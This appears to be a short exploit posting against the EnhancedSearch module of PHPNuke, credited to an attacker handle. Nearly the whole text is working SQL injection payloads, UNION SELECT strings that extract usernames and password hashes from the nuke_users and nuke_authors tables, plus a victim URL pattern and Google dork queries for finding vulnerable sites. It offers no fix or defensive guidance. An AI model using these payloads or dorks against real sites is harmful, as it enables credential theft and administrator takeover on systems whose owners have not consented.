PHPNuke All Version EnhancedSearch Module SQL Injection Exploit {!}

PHPNuke All Version EnhancedSearch Module SQL Injection Exploit {!}

---

Site : http://www.phpnuke.org
Demo : http://www.dsty-inside.de

---

SQL Injection :

EnhancedSearch%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*

EnhancedSearch%') UNION SELECT 0,pwd,name,aid,0,0,0,0,0,0 FROM nuke_authors/*

EnhancedSearch%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

---

http://www.victim.com/path/modules.php?name=EnhancedSearch

Search :

EnhancedSearch%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

Administrator MD5 Hash {!!!}

---

google:

"Enhanced Search Version 2.0: Powered by"

inurl:"modules.php?name=EnhancedSearch"

---

Credit : WiLdBoY
E-mail : [email protected]
Site : www.ayyildiz.org

---